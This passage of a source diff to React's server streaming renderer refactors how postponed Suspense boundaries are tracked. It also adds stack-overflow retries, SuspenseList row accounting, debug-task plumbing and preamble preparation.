+  if (__DEV__) {
+    task.componentStack = previousComponentStack;
+    task.debugTask = previousDebugTask;
+  }
+}
+
+function trackPostponedBoundary(
+  request: Request,
+  trackedPostpones: PostponedHoles,
+  boundary: SuspenseBoundary,
+): ReplaySuspenseBoundary {
+  boundary.status = POSTPONED;
+  // We need to eagerly assign it an ID because we'll need to refer to
+  // it before flushing and we know that we can't inline it.
+  boundary.rootSegmentID = request.nextSegmentId++;
+
+  const tracked = boundary.tracked;
+  if (tracked === null) {
+    throw new Error(
+      'It should not be possible to postpone at the root. This is a bug in React.',
+    );
+  }
+
+  const boundaryKeyPath = tracked.contentKeyPath;
+  if (boundaryKeyPath === null) {
+    throw new Error(
+      'It should not be possible to postpone at the root. This is a bug in React.',
+    );
+  }
+
+  const fallbackReplayNode = tracked.fallbackNode;
+
+  const children: Array<ReplayNode> = [];
+  const boundaryNode: void | ReplayNode =
+    trackedPostpones.workingMap.get(boundaryKeyPath);
+  if (boundaryNode === undefined) {
+    const suspenseBoundary: ReplaySuspenseBoundary = [
+      boundaryKeyPath[1],
+      boundaryKeyPath[2],
+      children,
+      null,
+      fallbackReplayNode,
+      boundary.rootSegmentID,
+    ];
+    trackedPostpones.workingMap.set(boundaryKeyPath, suspenseBoundary);
+    addToReplayParent(suspenseBoundary, boundaryKeyPath[0], trackedPostpones);
+    return suspenseBoundary;
+  } else {
+    // Upgrade to ReplaySuspenseBoundary.
+    const suspenseBoundary: ReplaySuspenseBoundary = (boundaryNode: any);
+    suspenseBoundary[4] = fallbackReplayNode;
+    suspenseBoundary[5] = boundary.rootSegmentID;
+    return suspenseBoundary;
+  }
 }
 
 function trackPostpone(
@@ -2793,22 +3940,16 @@ function trackPostpone(
   }
 
   if (boundary !== null && boundary.status === PENDING) {
-    boundary.status = POSTPONED;
-    // We need to eagerly assign it an ID because we'll need to refer to
-    // it before flushing and we know that we can't inline it.
-    boundary.rootSegmentID = request.nextSegmentId++;
-
-    const boundaryKeyPath = boundary.trackedContentKeyPath;
-    if (boundaryKeyPath === null) {
-      throw new Error(
-        'It should not be possible to postpone at the root. This is a bug in React.',
-      );
-    }
-
-    const fallbackReplayNode = boundary.trackedFallbackNode;
-
-    const children: Array<ReplayNode> = [];
-    if (boundaryKeyPath === keyPath && task.childIndex === -1) {
+    const boundaryNode = trackPostponedBoundary(
+      request,
+      trackedPostpones,
+      boundary,
+    );
+    if (
+      boundary.tracked !== null &&
+      boundary.tracked.contentKeyPath === keyPath &&
+      task.childIndex === -1
+    ) {
       // Assign ID
       if (segment.id === -1) {
         if (segment.parentFlushed) {
@@ -2820,39 +3961,10 @@ function trackPostpone(
         }
       }
       // We postponed directly inside the Suspense boundary so we mark this for resuming.
-      const boundaryNode: ReplaySuspenseBoundary = [
-        boundaryKeyPath[1],
-        boundaryKeyPath[2],
-        children,
-        segment.id,
-        fallbackReplayNode,
-        boundary.rootSegmentID,
-      ];
-      trackedPostpones.workingMap.set(boundaryKeyPath, boundaryNode);
-      addToReplayParent(boundaryNode, boundaryKeyPath[0], trackedPostpones);
+      boundaryNode[3] = segment.id;
       return;
-    } else {
-      let boundaryNode: void | ReplayNode =
-        trackedPostpones.workingMap.get(boundaryKeyPath);
-      if (boundaryNode === undefined) {
-        boundaryNode = [
-          boundaryKeyPath[1],
-          boundaryKeyPath[2],
-          children,
-          null,
-          fallbackReplayNode,
-          boundary.rootSegmentID,
-        ];
-        trackedPostpones.workingMap.set(boundaryKeyPath, boundaryNode);
-        addToReplayParent(boundaryNode, boundaryKeyPath[0], trackedPostpones);
-      } else {
-        // Upgrade to ReplaySuspenseBoundary.
-        const suspenseBoundary: ReplaySuspenseBoundary = (boundaryNode: any);
-        suspenseBoundary[4] = fallbackReplayNode;
-        suspenseBoundary[5] = boundary.rootSegmentID;
-      }
-      // Fall through to add the child node.
     }
+    // Otherwise, fall through to add the child node.
   }
 
   // We know that this will leave a hole so we might as well assign an ID now.
@@ -2934,7 +4046,11 @@ function untrackBoundary(request: Request, boundary: SuspenseBoundary) {
   if (trackedPostpones === null) {
     return;
   }
-  const boundaryKeyPath = boundary.trackedContentKeyPath;
+  const tracked = boundary.tracked;
+  if (tracked === null) {
+    return;
+  }
+  const boundaryKeyPath = tracked.contentKeyPath;
   if (boundaryKeyPath === null) {
     return;
   }
@@ -2955,39 +4071,12 @@ function untrackBoundary(request: Request, boundary: SuspenseBoundary) {
   // we don't replay the path to it.
 }
 
-function injectPostponedHole(
-  request: Request,
-  task: RenderTask,
-  reason: string,
-  thrownInfo: ThrownInfo,
-): Segment {
-  logPostpone(request, reason, thrownInfo);
-  // Something suspended, we'll need to create a new segment and resolve it later.
-  const segment = task.blockedSegment;
-  const insertionIndex = segment.chunks.length;
-  const newSegment = createPendingSegment(
-    request,
-    insertionIndex,
-    null,
-    task.formatContext,
-    // Adopt the parent segment's leading text embed
-    segment.lastPushedText,
-    // Assume we are text embedded at the trailing edge
-    true,
-  );
-  segment.children.push(newSegment);
-  // Reset lastPushedText for current Segment since the new Segment "consumed" it
-  segment.lastPushedText = false;
-  return newSegment;
-}
-
 function spawnNewSuspendedReplayTask(
   request: Request,
   task: ReplayTask,
   thenableState: ThenableState | null,
-  x: Wakeable,
-): void {
-  const newTask = createReplayTask(
+): ReplayTask {
+  return createReplayTask(
     request,
     thenableState,
     task.replay,
@@ -2998,25 +4087,20 @@ function spawnNewSuspendedReplayTask(
     task.abortSet,
     task.keyPath,
     task.formatContext,
-    task.legacyContext,
     task.context,
     task.treeContext,
-    // We pop one task off the stack because the node that suspended will be tried again,
-    // which will add it back onto the stack.
-    task.componentStack !== null ? task.componentStack.parent : null,
-    task.isFallback,
+    task.row,
+    task.componentStack,
+    !disableLegacyContext ? task.legacyContext : emptyContextObject,
+    __DEV__ ? task.debugTask : null,
   );
-
-  const ping = newTask.ping;
-  x.then(ping, ping);
 }
 
 function spawnNewSuspendedRenderTask(
   request: Request,
   task: RenderTask,
   thenableState: ThenableState | null,
-  x: Wakeable,
-): void {
+): RenderTask {
   // Something suspended, we'll need to create a new segment and resolve it later.
   const segment = task.blockedSegment;
   const insertionIndex = segment.chunks.length;
@@ -3033,28 +4117,25 @@ function spawnNewSuspendedRenderTask(
   segment.children.push(newSegment);
   // Reset lastPushedText for current Segment since the new Segment "consumed" it
   segment.lastPushedText = false;
-  const newTask = createRenderTask(
+  return createRenderTask(
     request,
     thenableState,
     task.node,
     task.childIndex,
     task.blockedBoundary,
     newSegment,
+    task.blockedPreamble,
     task.hoistableState,
     task.abortSet,
     task.keyPath,
     task.formatContext,
-    task.legacyContext,
     task.context,
     task.treeContext,
-    // We pop one task off the stack because the node that suspended will be tried again,
-    // which will add it back onto the stack.
-    task.componentStack !== null ? task.componentStack.parent : null,
-    task.isFallback,
+    task.row,
+    task.componentStack,
+    !disableLegacyContext ? task.legacyContext : emptyContextObject,
+    __DEV__ ? task.debugTask : null,
   );
-
-  const ping = newTask.ping;
-  x.then(ping, ping);
 }
 
 // This is a non-destructive form of rendering a node. If it suspends it spawns
@@ -3068,17 +4149,22 @@ function renderNode(
   // Snapshot the current context in case something throws to interrupt the
   // process.
   const previousFormatContext = task.formatContext;
-  const previousLegacyContext = task.legacyContext;
+  const previousLegacyContext = !disableLegacyContext
+    ? task.legacyContext
+    : emptyContextObject;
   const previousContext = task.context;
   const previousKeyPath = task.keyPath;
   const previousTreeContext = task.treeContext;
   const previousComponentStack = task.componentStack;
+  const previousDebugTask = __DEV__ ? task.debugTask : null;
   let x;
   // Store how much we've pushed at this point so we can reset it in case something
   // suspended partially through writing something.
   const segment = task.blockedSegment;
   if (segment === null) {
     // Replay
+    task = ((task: any): ReplayTask); // Refined
+    const previousReplaySet: ReplaySet = task.replay;
     try {
       return renderNodeDestructive(request, task, node, childIndex);
     } catch (thrownValue) {
@@ -3094,27 +4180,76 @@ function renderNode(
             getSuspendedThenable()
           : thrownValue;
 
-      if (typeof x === 'object' && x !== null) {
+      if (request.status === ABORTING) {
+        // We are aborting so we can just bubble up to the task by falling through
+      } else if (typeof x === 'object' && x !== null) {
         // $FlowFixMe[method-unbinding]
         if (typeof x.then === 'function') {
           const wakeable: Wakeable = (x: any);
-          const thenableState = getThenableStateAfterSuspending();
-          spawnNewSuspendedReplayTask(
+          const thenableState =
+            thrownValue === SuspenseException
+              ? getThenableStateAfterSuspending()
+              : null;
+          const newTask = spawnNewSuspendedReplayTask(
+            request,
+            // $FlowFixMe: Refined.
+            task,
+            thenableState,
+          );
+          const ping = newTask.ping;
+          wakeable.then(ping, ping);
+
+          // Restore the context. We assume that this will be restored by the inner
+          // functions in case nothing throws so we don't use "finally" here.
+          task.formatContext = previousFormatContext;
+          if (!disableLegacyContext) {
+            task.legacyContext = previousLegacyContext;
+          }
+          task.context = previousContext;
+          task.keyPath = previousKeyPath;
+          task.treeContext = previousTreeContext;
+          task.componentStack = previousComponentStack;
+          task.replay = previousReplaySet;
+          if (__DEV__) {
+            task.debugTask = previousDebugTask;
+          }
+          // Restore all active ReactContexts to what they were before.
+          switchContext(previousContext);
+          return;
+        }
+        if (x.message === 'Maximum call stack size exceeded') {
+          // This was a stack overflow. We do a lot of recursion in React by default for
+          // performance but it can lead to stack overflows in extremely deep trees.
+          // We do have the ability to create a trampoile if this happens which makes
+          // this kind of zero-cost.
+          const thenableState =
+            thrownValue === SuspenseException
+              ? getThenableStateAfterSuspending()
+              : null;
+          const newTask = spawnNewSuspendedReplayTask(
             request,
             // $FlowFixMe: Refined.
             task,
             thenableState,
-            wakeable,
           );
 
+          // Immediately schedule the task for retrying.
+          request.pingedTasks.push(newTask);
+
           // Restore the context. We assume that this will be restored by the inner
           // functions in case nothing throws so we don't use "finally" here.
           task.formatContext = previousFormatContext;
-          task.legacyContext = previousLegacyContext;
+          if (!disableLegacyContext) {
+            task.legacyContext = previousLegacyContext;
+          }
           task.context = previousContext;
           task.keyPath = previousKeyPath;
           task.treeContext = previousTreeContext;
           task.componentStack = previousComponentStack;
+          task.replay = previousReplaySet;
+          if (__DEV__) {
+            task.debugTask = previousDebugTask;
+          }
           // Restore all active ReactContexts to what they were before.
           switchContext(previousContext);
           return;
@@ -3146,61 +4281,74 @@ function renderNode(
             getSuspendedThenable()
           : thrownValue;
 
-      if (typeof x === 'object' && x !== null) {
+      if (request.status === ABORTING) {
+        // We are aborting so we can just bubble up to the task by falling through
+      } else if (typeof x === 'object' && x !== null) {
         // $FlowFixMe[method-unbinding]
         if (typeof x.then === 'function') {
           const wakeable: Wakeable = (x: any);
-          const thenableState = getThenableStateAfterSuspending();
-          spawnNewSuspendedRenderTask(
+          const thenableState =
+            thrownValue === SuspenseException
+              ? getThenableStateAfterSuspending()
+              : null;
+          const newTask = spawnNewSuspendedRenderTask(
             request,
             // $FlowFixMe: Refined.
             task,
             thenableState,
-            wakeable,
           );
+          const ping = newTask.ping;
+          wakeable.then(ping, ping);
 
           // Restore the context. We assume that this will be restored by the inner
           // functions in case nothing throws so we don't use "finally" here.
           task.formatContext = previousFormatContext;
-          task.legacyContext = previousLegacyContext;
+          if (!disableLegacyContext) {
+            task.legacyContext = previousLegacyContext;
+          }
           task.context = previousContext;
           task.keyPath = previousKeyPath;
           task.treeContext = previousTreeContext;
           task.componentStack = previousComponentStack;
+          if (__DEV__) {
+            task.debugTask = previousDebugTask;
+          }
           // Restore all active ReactContexts to what they were before.
           switchContext(previousContext);
           return;
         }
-        if (
-          enablePostpone &&
-          x.$$typeof === REACT_POSTPONE_TYPE &&
-          request.trackedPostpones !== null &&
-          task.blockedBoundary !== null // bubble if we're postponing in the shell
-        ) {
-          // If we're tracking postpones, we inject a hole here and continue rendering
-          // sibling. Similar to suspending. If we're not tracking, we treat it more like
-          // an error. Notably this doesn't spawn a new task since nothing will fill it
-          // in during this prerender.
-          const trackedPostpones = request.trackedPostpones;
-
-          const postponeInstance: Postpone = (x: any);
-          const thrownInfo = getThrownInfo(request, task.componentStack);
-          const postponedSegment = injectPostponedHole(
+        if (x.message === 'Maximum call stack size exceeded') {
+          // This was a stack overflow. We do a lot of recursion in React by default for
+          // performance but it can lead to stack overflows in extremely deep trees.
+          // We do have the ability to create a trampoile if this happens which makes
+          // this kind of zero-cost.
+          const thenableState =
+            thrownValue === SuspenseException
+              ? getThenableStateAfterSuspending()
+              : null;
+          const newTask = spawnNewSuspendedRenderTask(
             request,
-            ((task: any): RenderTask), // We don't use ReplayTasks in prerenders.
-            postponeInstance.message,
-            thrownInfo,
+            // $FlowFixMe: Refined.
+            task,
+            thenableState,
           );
-          trackPostpone(request, trackedPostpones, task, postponedSegment);
+
+          // Immediately schedule the task for retrying.
+          request.pingedTasks.push(newTask);
 
           // Restore the context. We assume that this will be restored by the inner
           // functions in case nothing throws so we don't use "finally" here.
           task.formatContext = previousFormatContext;
-          task.legacyContext = previousLegacyContext;
+          if (!disableLegacyContext) {
+            task.legacyContext = previousLegacyContext;
+          }
           task.context = previousContext;
           task.keyPath = previousKeyPath;
           task.treeContext = previousTreeContext;
           task.componentStack = previousComponentStack;
+          if (__DEV__) {
+            task.debugTask = previousDebugTask;
+          }
           // Restore all active ReactContexts to what they were before.
           switchContext(previousContext);
           return;
@@ -3212,7 +4360,9 @@ function renderNode(
   // Restore the context. We assume that this will be restored by the inner
   // functions in case nothing throws so we don't use "finally" here.
   task.formatContext = previousFormatContext;
-  task.legacyContext = previousLegacyContext;
+  if (!disableLegacyContext) {
+    task.legacyContext = previousLegacyContext;
+  }
   task.context = previousContext;
   task.keyPath = previousKeyPath;
   task.treeContext = previousTreeContext;
@@ -3233,6 +4383,7 @@ function erroredReplay(
   errorInfo: ThrownInfo,
   replayNodes: ReplayNode[],
   resumeSlots: ResumeSlots,
+  debugTask: null | ConsoleTask,
 ): void {
   // Erroring during a replay doesn't actually cause an error by itself because
   // that component has already rendered. What causes the error is the resumable
@@ -3241,20 +4392,7 @@ function erroredReplay(
   // that doesn't error the parent Suspense boundary.
   // This might be a bit strange that the error in a parent gets thrown at a child.
   // We log it only once and reuse the digest.
-  let errorDigest;
-  if (
-    enablePostpone &&
-    typeof error === 'object' &&
-    error !== null &&
-    error.$$typeof === REACT_POSTPONE_TYPE
-  ) {
-    const postponeInstance: Postpone = (error: any);
-    logPostpone(request, postponeInstance.message, errorInfo);
-    // TODO: Figure out a better signal than a magic digest value.
-    errorDigest = 'POSTPONE';
-  } else {
-    errorDigest = logRecoverableError(request, error, errorInfo);
-  }
+  const errorDigest = logRecoverableError(request, error, errorInfo, debugTask);
   abortRemainingReplayNodes(
     request,
     boundary,
@@ -3270,26 +4408,26 @@ function erroredReplay(
 function erroredTask(
   request: Request,
   boundary: Root | SuspenseBoundary,
+  row: null | SuspenseListRow,
   error: mixed,
   errorInfo: ThrownInfo,
+  debugTask: null | ConsoleTask,
 ) {
-  // Report the error to a global handler.
-  let errorDigest;
-  if (
-    enablePostpone &&
-    typeof error === 'object' &&
-    error !== null &&
-    error.$$typeof === REACT_POSTPONE_TYPE
-  ) {
-    const postponeInstance: Postpone = (error: any);
-    logPostpone(request, postponeInstance.message, errorInfo);
-    // TODO: Figure out a better signal than a magic digest value.
-    errorDigest = 'POSTPONE';
-  } else {
-    errorDigest = logRecoverableError(request, error, errorInfo);
+  if (row !== null) {
+    if (--row.pendingTasks === 0) {
+      finishSuspenseListRow(request, row);
+    }
   }
+
+  request.allPendingTasks--;
+
+  // Report the error to a global handler.
+  // We don't handle halts here because we only halt when prerendering and
+  // when prerendering we should be finishing tasks not erroring them when
+  // they halt or postpone
+  const errorDigest = logRecoverableError(request, error, errorInfo, debugTask);
   if (boundary === null) {
-    fatalError(request, error);
+    fatalError(request, error, errorInfo, debugTask);
   } else {
     boundary.pendingTasks--;
     if (boundary.status !== CLIENT_RENDERED) {
@@ -3297,6 +4435,14 @@ function erroredTask(
       encodeErrorForBoundary(boundary, errorDigest, error, errorInfo, false);
       untrackBoundary(request, boundary);
 
+      const boundaryRow = boundary.row;
+      if (boundaryRow !== null) {
+        // Unblock the SuspenseListRow that was blocked by this boundary.
+        if (--boundaryRow.pendingTasks === 0) {
+          finishSuspenseListRow(request, boundaryRow);
+        }
+      }
+
       // Regardless of what happens next, this boundary won't be displayed,
       // so we can flush it, if the parent already flushed.
       if (boundary.parentFlushed) {
@@ -3306,10 +4452,21 @@ function erroredTask(
         // We reuse the same queue for errors.
         request.clientRenderedBoundaries.push(boundary);
       }
+
+      if (
+        request.pendingRootTasks === 0 &&
+        request.trackedPostpones === null &&
+        boundary.preamble !== null
+      ) {
+        // The root is complete and this boundary may contribute part of the preamble.
+        // We eagerly attempt to prepare the preamble here because we expect most requests
+        // to have few boundaries which contribute preambles and it allow us to do this
+        // preparation work during the work phase rather than the when flushing.
+        preparePreamble(request);
+      }
     }
   }
 
-  request.allPendingTasks--;
   if (request.allPendingTasks === 0) {
     completeAll(request);
   }
@@ -3324,7 +4481,7 @@ function abortTaskSoft(this: Request, task: Task): void {
   const segment = task.blockedSegment;
   if (segment !== null) {
     segment.status = ABORTED;
-    finishedTask(request, boundary, segment);
+    finishedTask(request, boundary, task.row, segment);
   }
 }
 
@@ -3336,7 +4493,13 @@ function abortRemainingSuspenseBoundary(
   errorInfo: ThrownInfo,
   wasAborted: boolean,
 ): void {
-  const resumedBoundary = createSuspenseBoundary(request, new Set());
+  const resumedBoundary = createSuspenseBoundary(
+    request,
+    null,
+    new Set(),
+    null,
+    false,
+  );
   resumedBoundary.parentFlushed = true;
   // We restore the same id of this boundary as was used during prerender.
   resumedBoundary.rootSegmentID = rootSegmentID;
@@ -3424,32 +4587,71 @@ function abortTask(task: Task, request: Request, error: mixed): void {
   const boundary = task.blockedBoundary;
   const segment = task.blockedSegment;
   if (segment !== null) {
+    if (segment.status === RENDERING) {
+      // This is the a currently rendering Segment. The render itself will
+      // abort the task.
+      return;
+    }
     segment.status = ABORTED;
   }
 
+  const errorInfo = getThrownInfo(task.componentStack);
+  if (__DEV__ && enableAsyncDebugInfo) {
+    // If the task is not rendering, then this is an async abort. Conceptually it's as if
+    // the abort happened inside the async gap. The abort reason's stack frame won't have that
+    // on the stack so instead we use the owner stack and debug task of any halted async debug info.
+    let node: any = task.node;
+    if (node !== null && typeof node === 'object') {
+      // Push a fake component stack frame that represents the await.
+      let debugInfo = node._debugInfo;
+      // First resolve lazy nodes to find debug info that has been transferred
+      // to the inner value.
+      while (
+        typeof node === 'object' &&
+        node !== null &&
+        node.$$typeof === REACT_LAZY_TYPE
+      ) {
+        const payload = node._payload;
+        if (payload.status === 'fulfilled') {
+          node = payload.value;
+          continue;
+        }
+        break;
+      }
+      if (
+        typeof node === 'object' &&
+        node !== null &&
+        (isArray(node) ||
+          typeof node[ASYNC_ITERATOR] === 'function' ||
+          node.$$typeof === REACT_ELEMENT_TYPE ||
+          node.$$typeof === REACT_LAZY_TYPE) &&
+        isArray(node._debugInfo)
+      ) {
+        debugInfo = node._debugInfo;
+      }
+      pushHaltedAwaitOnComponentStack(task, debugInfo);
+      if (task.thenableState !== null) {
+        pushSuspendedCallSiteOnComponentStack(request, task);
+      }
+    }
+  }
+
   if (boundary === null) {
-    const errorInfo: ThrownInfo = {};
     if (request.status !== CLOSING && request.status !== CLOSED) {
       const replay: null | ReplaySet = task.replay;
       if (replay === null) {
         // We didn't complete the root so we have nothing to show. We can close
         // the request;
-        if (
-          enablePostpone &&
-          typeof error === 'object' &&
-          error !== null &&
-          error.$$typeof === REACT_POSTPONE_TYPE
-        ) {
-          const postponeInstance: Postpone = (error: any);
-          const fatal = new Error(
-            'The render was aborted with postpone when the shell is incomplete. Reason: ' +
-              postponeInstance.message,
-          );
-          logRecoverableError(request, fatal, errorInfo);
-          fatalError(request, fatal);
+        if (request.trackedPostpones !== null && segment !== null) {
+          const trackedPostpones = request.trackedPostpones;
+          // We are aborting a prerender and must treat the shell as halted
+          // We log the error but we still resolve the prerender
+          logRecoverableError(request, error, errorInfo, task.debugTask);
+          trackPostpone(request, trackedPostpones, task, segment);
+          finishedTask(request, null, task.row, segment);
         } else {
-          logRecoverableError(request, error, errorInfo);
-          fatalError(request, error);
+          logRecoverableError(request, error, errorInfo, task.debugTask);
+          fatalError(request, error, errorInfo, task.debugTask);
         }
         return;
       } else {
@@ -3458,20 +4660,12 @@ function abortTask(task: Task, request: Request, error: mixed): void {
         // the ReplaySet.
         replay.pendingTasks--;
         if (replay.pendingTasks === 0 && replay.nodes.length > 0) {
-          let errorDigest;
-          if (
-            enablePostpone &&
-            typeof error === 'object' &&
-            error !== null &&
-            error.$$typeof === REACT_POSTPONE_TYPE
-          ) {
-            const postponeInstance: Postpone = (error: any);
-            logPostpone(request, postponeInstance.message, errorInfo);
-            // TODO: Figure out a better signal than a magic digest value.
-            errorDigest = 'POSTPONE';
-          } else {
-            errorDigest = logRecoverableError(request, error, errorInfo);
-          }
+          const errorDigest = logRecoverableError(
+            request,
+            error,
+            errorInfo,
+            null,
+          );
           abortRemainingReplayNodes(
             request,
             null,
@@ -3490,26 +4684,33 @@ function abortTask(task: Task, request: Request, error: mixed): void {
       }
     }
   } else {
-    boundary.pendingTasks--;
+    // We construct an errorInfo from the boundary's componentStack so the error in dev will indicate which
+    // boundary the message is referring to
+    const trackedPostpones = request.trackedPostpones;
     if (boundary.status !== CLIENT_RENDERED) {
-      boundary.status = CLIENT_RENDERED;
-      // We construct an errorInfo from the boundary's componentStack so the error in dev will indicate which
-      // boundary the message is referring to
-      const errorInfo = getThrownInfo(request, task.componentStack);
-      let errorDigest;
-      if (
-        enablePostpone &&
-        typeof error === 'object' &&
-        error !== null &&
-        error.$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        const postponeInstance: Postpone = (error: any);
-        logPostpone(request, postponeInstance.message, errorInfo);
-        // TODO: Figure out a better signal than a magic digest value.
-        errorDigest = 'POSTPONE';
-      } else {
-        errorDigest = logRecoverableError(request, error, errorInfo);
+      if (trackedPostpones !== null && segment !== null) {
+        // We are aborting a prerender and must halt this boundary.
+        // We treat this like other postpones during prerendering
+        logRecoverableError(request, error, errorInfo, task.debugTask);
+        trackPostpone(request, trackedPostpones, task, segment);
+        // If this boundary was still pending then we haven't already cancelled its fallbacks.
+        // We'll need to abort the fallbacks, which will also error that parent boundary.
+        boundary.fallbackAbortableTasks.forEach(fallbackTask =>
+          abortTask(fallbackTask, request, error),
+        );
+        boundary.fallbackAbortableTasks.clear();
+        return finishedTask(request, boundary, task.row, segment);
       }
+      boundary.status = CLIENT_RENDERED;
+      // We are aborting a render or resume which should put boundaries
+      // into an explicitly client rendered state
+      const errorDigest = logRecoverableError(
+        request,
+        error,
+        errorInfo,
+        task.debugTask,
+      );
+      boundary.status = CLIENT_RENDERED;
       encodeErrorForBoundary(boundary, errorDigest, error, errorInfo, true);
 
       untrackBoundary(request, boundary);
@@ -3519,6 +4720,16 @@ function abortTask(task: Task, request: Request, error: mixed): void {
       }
     }
 
+    boundary.pendingTasks--;
+
+    const boundaryRow = boundary.row;
+    if (boundaryRow !== null) {
+      // Unblock the SuspenseListRow that was blocked by this boundary.
+      if (--boundaryRow.pendingTasks === 0) {
+        finishSuspenseListRow(request, boundaryRow);
+      }
+    }
+
     // If this boundary was still pending then we haven't already cancelled its fallbacks.
     // We'll need to abort the fallbacks, which will also error that parent boundary.
     boundary.fallbackAbortableTasks.forEach(fallbackTask =>
@@ -3527,12 +4738,40 @@ function abortTask(task: Task, request: Request, error: mixed): void {
     boundary.fallbackAbortableTasks.clear();
   }
 
+  const row = task.row;
+  if (row !== null) {
+    if (--row.pendingTasks === 0) {
+      finishSuspenseListRow(request, row);
+    }
+  }
+
   request.allPendingTasks--;
   if (request.allPendingTasks === 0) {
     completeAll(request);
   }
 }
 
+function abortTaskDEV(task: Task, request: Request, error: mixed): void {
+  if (__DEV__) {
+    const prevTaskInDEV = currentTaskInDEV;
+    const prevGetCurrentStackImpl = ReactSharedInternals.getCurrentStack;
+    setCurrentTaskInDEV(task);
+    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;
+    try {
+      abortTask(task, request, error);
+    } finally {
+      setCurrentTaskInDEV(prevTaskInDEV);
+      ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;
+    }
+  } else {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'abortTaskDEV should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
+
 function safelyEmitEarlyPreloads(
   request: Request,
   shellComplete: boolean,
@@ -3546,7 +4785,7 @@ function safelyEmitEarlyPreloads(
   } catch (error) {
     // We assume preloads are optimistic and thus non-fatal if errored.
     const errorInfo: ThrownInfo = {};
-    logRecoverableError(request, error, errorInfo);
+    logRecoverableError(request, error, errorInfo, null);
   }
 }
 
@@ -3564,6 +4803,13 @@ function completeShell(request: Request) {
     const shellComplete = true;
     safelyEmitEarlyPreloads(request, shellComplete);
   }
+  if (request.trackedPostpones === null) {
+    // When the shell is complete it will be possible to flush. We attempt to prepre
+    // the Preamble here in case it is ready for flushing.
+    // We exclude prerenders because these cannot flush until after completeAll has been called
+    preparePreamble(request);
+  }
+
   // We have completed the shell so the shell can't error anymore.
   request.onShellError = noop;
   const onShellReady = request.onShellReady;
@@ -3586,6 +4832,11 @@ function completeAll(request: Request) {
         request.completedRootSegment === null ||
         request.completedRootSegment.status !== POSTPONED;
   safelyEmitEarlyPreloads(request, shellComplete);
+
+  // When the shell is complete it will be possible to flush. We attempt to prepre
+  // the Preamble here in case it is ready for flushing
+  preparePreamble(request);
+
   const onAllReady = request.onAllReady;
   onAllReady();
 }
@@ -3605,7 +4856,11 @@ function queueCompletedSegment(
     const childSegment = segment.children[0];
     childSegment.id = segment.id;
     childSegment.parentFlushed = true;
-    if (childSegment.status === COMPLETED) {
+    if (
+      childSegment.status === COMPLETED ||
+      childSegment.status === ABORTED ||
+      childSegment.status === ERRORED
+    ) {
       queueCompletedSegment(boundary, childSegment);
     }
   } else {
@@ -3614,11 +4869,41 @@ function queueCompletedSegment(
   }
 }
 
+function finishedSegment(
+  request: Request,
+  boundary: Root | SuspenseBoundary,
+  segment: Segment,
+) {
+  if (byteLengthOfChunk !== null) {
+    // Count the bytes of all the chunks of this segment.
+    const chunks = segment.chunks;
+    let segmentByteSize = 0;
+    for (let i = 0; i < chunks.length; i++) {
+      segmentByteSize += byteLengthOfChunk(chunks[i]);
+    }
+    // Accumulate on the parent boundary to power heuristics.
+    if (boundary === null) {
+      request.byteSize += segmentByteSize;
+    } else {
+      boundary.byteSize += segmentByteSize;
+    }
+  }
+}
+
 function finishedTask(
   request: Request,
   boundary: Root | SuspenseBoundary,
+  row: null | SuspenseListRow,
   segment: null | Segment,
 ) {
+  if (row !== null) {
+    if (--row.pendingTasks === 0) {
+      finishSuspenseListRow(request, row);
+    } else if (row.together) {
+      tryToResolveTogetherRow(request, row);
+    }
+  }
+  request.allPendingTasks--;
   if (boundary === null) {
     if (segment !== null && segment.parentFlushed) {
       if (request.completedRootSegment !== null) {
@@ -3646,7 +4931,7 @@ function finishedTask(
         // Our parent segment already flushed, so we need to schedule this segment to be emitted.
         // If it is a segment that was aborted, we'll write other content instead so we don't need
         // to emit it.
-        if (segment.status === COMPLETED) {
+        if (segment.status === COMPLETED || segment.status === ABORTED) {
           queueCompletedSegment(boundary, segment);
         }
       }
@@ -3660,16 +4945,62 @@ function finishedTask(
       // This needs to happen after we read the parentFlushed flags because aborting can finish
       // work which can trigger user code, which can start flushing, which can change those flags.
       // If the boundary was POSTPONED, we still need to finish the fallback first.
+      // If the boundary is eligible to be outlined during flushing we can't cancel the fallback
+      // since we might need it when it's being outlined.
       if (boundary.status === COMPLETED) {
-        boundary.fallbackAbortableTasks.forEach(abortTaskSoft, request);
-        boundary.fallbackAbortableTasks.clear();
+        const boundaryRow = boundary.row;
+        if (boundaryRow !== null) {
+          // Hoist the HoistableState from the boundary to the row so that the next rows
+          // can depend on the same dependencies.
+          hoistHoistables(boundaryRow.hoistables, boundary.contentState);
+        }
+        if (!isEligibleForOutlining(request, boundary)) {
+          boundary.fallbackAbortableTasks.forEach(abortTaskSoft, request);
+          boundary.fallbackAbortableTasks.clear();
+          if (boundaryRow !== null) {
+            // If we aren't eligible for outlining, we don't have to wait until we flush it.
+            if (--boundaryRow.pendingTasks === 0) {
+              finishSuspenseListRow(request, boundaryRow);
+            }
+          }
+        }
+
+        if (
+          request.pendingRootTasks === 0 &&
+          request.trackedPostpones === null &&
+          boundary.preamble !== null
+        ) {
+          // The root is complete and this boundary may contribute part of the preamble.
+          // We eagerly attempt to prepare the preamble here because we expect most requests
+          // to have few boundaries which contribute preambles and it allow us to do this
+          // preparation work during the work phase rather than the when flushing.
+          preparePreamble(request);
+        }
+      } else if (boundary.status === POSTPONED) {
+        const boundaryRow = boundary.row;
+        if (boundaryRow !== null) {
+          if (request.trackedPostpones !== null) {
+            // If this boundary is postponed, then we need to also postpone any blocked boundaries
+            // in the next row.
+            trackPostponedSuspenseListRow(
+              request,
+              request.trackedPostpones,
+              boundaryRow.next,
+            );
+          }
+          if (--boundaryRow.pendingTasks === 0) {
+            // This is really unnecessary since we've already postponed the boundaries but
+            // for pairity with other track+finish paths. We might end up using the hoisting.
+            finishSuspenseListRow(request, boundaryRow);
+          }
+        }
       }
     } else {
       if (segment !== null && segment.parentFlushed) {
         // Our parent already flushed, so we need to schedule this segment to be emitted.
         // If it is a segment that was aborted, we'll write other content instead so we don't need
         // to emit it.
-        if (segment.status === COMPLETED) {
+        if (segment.status === COMPLETED || segment.status === ABORTED) {
           queueCompletedSegment(boundary, segment);
           const completedSegments = boundary.completedSegments;
           if (completedSegments.length === 1) {
@@ -3682,10 +5013,13 @@ function finishedTask(
           }
         }
       }
+      const boundaryRow = boundary.row;
